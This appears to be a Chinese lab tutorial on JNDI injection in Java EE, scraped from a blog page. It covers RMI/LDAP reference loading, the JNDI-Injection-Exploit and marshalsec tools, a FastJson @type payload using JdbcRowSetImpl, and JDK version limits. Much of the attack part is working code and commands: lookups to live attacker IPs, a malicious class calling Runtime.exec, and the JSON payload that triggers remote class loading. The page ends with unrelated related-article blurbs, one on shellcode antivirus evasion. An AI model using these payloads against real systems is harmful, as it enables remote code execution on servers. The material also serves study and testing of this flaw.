037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类

037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

Untitled

#知识点:

1、JavaEE-JNDI注入-RMI&LDAP
2、JavaEE-漏洞结合-FastJson链
3、JavaEE-漏洞条件-JDK版本绕过

演示案例:

➢JNDI注入-RMI&LDAP服务
➢JNDI注入-FastJson漏洞结合
➢JNDI注入-JDK高版本注入绕过

Untitled

Untitled

思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
**com.sun.rowset.JdbcRowSetImpl.execute()**
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

  • 创建一个rmi ldap等服务调用 实例化对象
new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
  • 调用rmi ldap等服务对象类(远程服务
    ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行
new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");

基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”);
new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”);

package com.example.jndi;import javax.naming.InitialContext;
import javax.naming.NamingException;public class JndiDemo {public static void main(String[] args) throws NamingException {new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");}
}

2、使用利用工具生成调用地址
**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx**

Untitled

Untitled

遇到问题:可以进行工具发送,但无法访问到指向类进行报错(JDK版本太高)

原因:JDK版本太高,对远程访问进行拦截

解决方式:更换低版本的JDK,即可成功

Untitled

Untitled

遇到问题:linux中运行JNDI-Injection,报错Address already in use
  • 原因:之前运行的该程序占用了端口,导致无法运行

Untitled

  • 解决方式:

    • netstat -tulpn(查询端口)

      Untitled

      Untitled

    • kill 2320 (停止端口)

      Untitled

  • 成功调用

Untitled

遇到问题:**JNDI-Injection-Exploit**不能进行正常的发送,和接收

原因:防火墙的原因

解决方式:关闭虚拟机和本机的防火墙即可访问成功

Untitled

JNDI远程调用-marshalsec

1、创建调用对象,编译调用对象

Untitled

javac Test.java

特别注意:要保证java和javac的版本一致,且都是1.8的低版本1.8.0_112

2、将生成的Class存放访问路径,并检查是否可访问到

建一个简单的WEB页面,又不想配置apache或者Nginx,并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务,并且使用起来也非常简单。

python -m SimpleHTTPServer

服务启动,默认端口为 8000

Untitled

服务起来后,

如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000

如果是云服务器则,替换为对应的云服务器ip地址即可,端口号不变: http://47.243.50.47:8000/

就可以访问初始web页面了

Untitled

Untitled

Untitled

Untitled

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi

Untitled

4、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

Untitled

Untitled

Untitled

JNDI-Injection & marshalsec 实现原理:

例:RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

  1. Registry首先启动,并监听一个端口,一般是1099:

    Registry registry = LocateRegistry.createRegistry(1099);
    

    在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

  2. Server向Registry注册远程对象:

    Reference reference = new Reference("Calc", "Calc", "http://localhost/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("calc", wrapper);
    

    服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。

  3. Client从Registry获取远程对象的代理:

    Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
    

    客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。

  4. Client通过这个代理调用远程对象的方法:

    // 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
    // 例如:CalcInterface calc = (CalcInterface) remoteObject;
    // 远程方法调用示例
    // 例如:calc.performCalculation();
    

    客户端通过获得的代理对象调用远程对象的方法。

  5. Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
    在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

  6. Server端的代理将执行结果返回给Client端代理:
    执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

Untitled

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception {// 创建 RMI 注册表并监听在 1099 端口上Registry registry = LocateRegistry.createRegistry(1099);**// 创建一个包含类信息的 Reference 对象// className: 远程加载时所使用的类名// classFactory: 加载的类中需要实例化的类的名称// classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议Reference reference = new Reference("Calc", "Calc", "http://localhost/");**// 使用 Reference 对象创建 ReferenceWrapper 对象ReferenceWrapper wrapper = new ReferenceWrapper(reference);// 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"registry.bind("calc", wrapper);}
}
import java.lang.Runtime;public class Calc {public Calc() throws Exception{Runtime.getRuntime().exec("mstsc");}
}

JNDI-Injection & marshalsec 区别:

LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP - jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

1.jndi - rmi ldap服务
2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
4.发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过

Untitled

5. 利用要知道其他类也能调用jndi注入(rmi,ldap)

Untitled

#JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson(黑盒:数据写错,发现返回包是对应的fastjson包)

Untitled

2、创建对应的FastJson项目

Untitled

Untitled

// 导入必要的包
package com.example.fsjndidome;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;// 定义一个带有 "/json" 映射的 Servlet
@WebServlet("/json")
public class Fsweb extends HelloServlet {// 重写 doPost 方法以处理 HTTP POST 请求@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从名为 "str" 的请求参数中检索 JSON 数据String jsondata = req.getParameter("str");// 将接收到的 JSON 数据打印到控制台System.out.println(jsondata);// 使用 fastjson 解析 JSON 数据为 JSONObjectJSONObject jsonObject = JSON.parseObject(jsondata);// 打印解析后的 JSONObject 到控制台System.out.println(jsonObject);}
}
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
**<form action="/FSJNDIDome_war_exploded/json" method="post">please input json data:<input type="text" name="str"><br><input type="submit" value="提交">**
</form>
</body>
</html>

3、生成远程调用方法

**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130**

Untitled

4、提交JSON数据Payload

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}

Untitled

Untitled

总结:

Untitled

#JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:
https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686382.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云香港服务器cn2速度测试和租用价格表

阿里云香港服务器中国香港数据中心网络线路类型BGP多线精品&#xff0c;中国电信CN2高速网络高质量、大规格BGP带宽&#xff0c;运营商精品公网直连中国内地&#xff0c;时延更低&#xff0c;优化海外回中国内地流量的公网线路&#xff0c;可以提高国际业务访问质量。阿里云服务…

YOLO v5项目实战 P5 解决运行detect文件时设置了--view-img但是显示不出来的问题

up主讲的实时显示目标检测后的图片的两种方法&#xff1a; &#xff08;1&#xff09;在下面的Terminal中输入下列命令&#xff1a; python detect.py --view-img &#xff08;2&#xff09;点击进入右上方的detect的Edit Configurations 然后在这个参数这里输入 --view img…

人工智能学习与实训笔记(八):百度飞桨套件使用方法介绍

人工智能专栏文章汇总&#xff1a;人工智能学习专栏文章汇总-CSDN博客 本篇目录 八、百度飞桨套件使用 8.1 飞桨预训练模型套件PaddleHub 8.1.1 一些本机CPU可运行的飞桨预训练简单模型&#xff08;亲测可用&#xff09; 8.1.1.1 人脸检测模型 8.1.1.2 中文分词模型 8.1…

自然语言编程系列(四):GPT-4对编程开发的支持

在编程开发领域&#xff0c;GPT-4凭借其强大的自然语言理解和代码生成能力&#xff0c;能够深刻理解开发者的意图&#xff0c;并基于这些需求提供精准的编程指导和解决方案。对于开发者来说&#xff0c;GPT-4能够在代码片段生成、算法思路设计、模块构建和原型实现等方面给予开…

《数字电子电路》 课程设计:十字路口红绿灯自动控制系统(上)(multisim仿真及PCB实现)

&#xff08;一&#xff09;前言 本系列文章就笔者在大二下学期进行《数字电子线路》课程设计的题目&#xff1a;十字路口红绿灯自动控制系统 进行详细的讲解&#xff0c;希望对读者有所帮助。 &#xff08;二&#xff09;目录 一、主要指标及要求 二、电路工作原理 1、工作原…

P15---总电磁转矩T

正弦波驱动模式工作的永磁同步电动机的总电磁转矩 T clear clc% 15页表达式 syms Omega theta E I e_A E*sind(theta) e_B E*sind(theta-120) e_C E*sind(theta-240)i_A I*sind(theta) i_B I*sind(theta-120) i_C I*sind(theta-240)P e_A*i_A e_B*i_B e_C*i_CT P/Om…

Unity设备分级策略

Unity设备分级策略 前言 之前自己做的设备分级策略&#xff0c;在此做一个简单的记录和思路分享。希望能给大家带来帮助。 分级策略 根据拟定的评分标准&#xff0c;预生成部分已知机型的分级信息&#xff0c;且保存在包内&#xff1b;如果设备没有被评级过&#xff0c;则优…

QKD安全攻击防御方案分析和分级评估研究报告

今天分享的是行业报告&#xff1a;《QKD安全攻击防御方案分析和分级评估研究报告》 &#xff08;内容出品方&#xff1a;量子信息网络产业联盟&#xff09; 报告共计&#xff1a;180页 来源&#xff1a;《见鹿报告》 前言 量子通信是量子信息科学的重要分支&#xff0c;它…

Shellcode免杀对抗(Python)

Shellcode Python免杀&#xff0c;绕过360安全卫士、火绒安全、Defender Python基于cs/msf的上线 cs 执行代码2种可供选择 执行代码 1&#xff1a; rwxpage ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory…

HTTP 请求 400错误

问题 HTTP 请求 400错误 详细问题 客户端发送请求 public static UserInfo updateUserInfo(UserInfo userInfo) {// 创建 OkHttpClient 对象OkHttpClient client new OkHttpClient();// 创建请求体MediaType JSON MediaType.parse("application/json; charsetutf-8&…

Java实现停车场收费系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 停车位模块2.2 车辆模块2.3 停车收费模块2.4 IC卡模块2.5 IC卡挂失模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 停车场表3.2.2 车辆表3.2.3 停车收费表3.2.4 IC 卡表3.2.5 IC 卡挂失表 四、系统实现五、核心代码…

【初始RabbitMQ】工作队列的实现

工作队列 工作队列&#xff08;又称为任务队列&#xff09;的主要思想是避免立即执行资源密集型任务&#xff0c;而不得不等待它完成。 相反我们安排任务在之后执行。我们把任务封装为消息并将其发送到队列。在后台运行的工作进 程将弹出任务并最终执行作业。当有多个工作线程…

【NI-DAQmx入门】调整数据记录长度再进行数据处理

需要注意的是&#xff0c;初学者很容易造成一个大循环&#xff0c;导致采集循环的执行时间过长&#xff0c;最佳操作是采集循环只干采集的事&#xff0c;另起一个循环做数据拆解或分析。 有时需要以一定的采样率获取数据并记录所需的长度。然而&#xff0c;在处理这些数据时&am…

2-17作业

#!/bin/bash read zifu case $zifu in [[:lower:]]) echo "小写字母" ;; [0-9]) echo "是数字字符" ;; [[:upper:]]) echo "是大写字母" ;; esac #!/bin/bash arr(ls ~) len${#arr…

把Activity当做dialog对话框使用

1、引言 在安卓开发中对话框的使用是不可避免的&#xff0c;但是原生的对话框用起来总感觉差点意思&#xff0c;而且位置不好控制&#xff0c;在与界面的交互上也不够灵活&#xff0c;没有像activity那样的生命周期方法&#xff0c;以至于某些特殊的功能无法实现。此时我们就希…

Android Studio新建EMPTY,提示Gradle下载失败,Connect timed out

Android Studio新建EMPTY&#xff0c;提示Gradle下载失败&#xff0c;Connect timed out 找到gradle-wrapper.properites文件&#xff0c;替换distributeionUrl为腾讯镜像&#xff0c;就好了&#xff0c;网上找了好久&#xff0c;就这个有效&#xff0c;是在这里Android导入项…

【分享】图解ADS+JLINK调试ARM

文章是对LPC2148而写的&#xff0c;但是对三星的44B0芯片同样适用&#xff0c;只需要在选择时将相应的CPU选择的S3C44B0就可以了。 JLINK在ADS下调试心得 前两天一个客户用jlink在ADS下调试LPC2148总报错&#xff0c;这个错误我之前在调试LPC2200的时候也碰到过&#xff0c;后…

ESP32学习(2)——点亮LED灯

1.前期准备 开发板原理图如下&#xff1a; 可见LED灯接在了GPIO2口 那么要如何编写代码控制GPIO口的电平高低呢&#xff1f; 我们可以参考micropython的官方文档Quick reference for the ESP32 — MicroPython latest documentation 可见&#xff0c;需要导入machine包 若要…

[嵌入式系统-24]:RT-Thread -11- 内核组件编程接口 - 网络组件 - TCP/UDP Socket编程

目录 一、RT-Thread网络组件 1.1 概述 1.2 RT-Thread支持的网络协议栈 1.3 RT-Thread如何选择不同的网络协议栈 二、Socket编程 2.1 概述 2.2 UDP socket编程 2.3 TCP socket编程 2.4 TCP socket收发数据 一、RT-Thread网络组件 1.1 概述 RT-Thread 是一个开源的嵌入…

Springboot 配置使用 Elasticsearch

一、安装Elasticsearch 1、Windows安装 Windows安装比较简单&#xff0c;ES官网Download Elasticsearch | Elastic下载压缩包&#xff0c;解压出来&#xff0c; bin 目录下有个elasticsearch.bat&#xff0c;双击&#xff0c;就运行起来了。 然后在浏览器输入localhost:9200…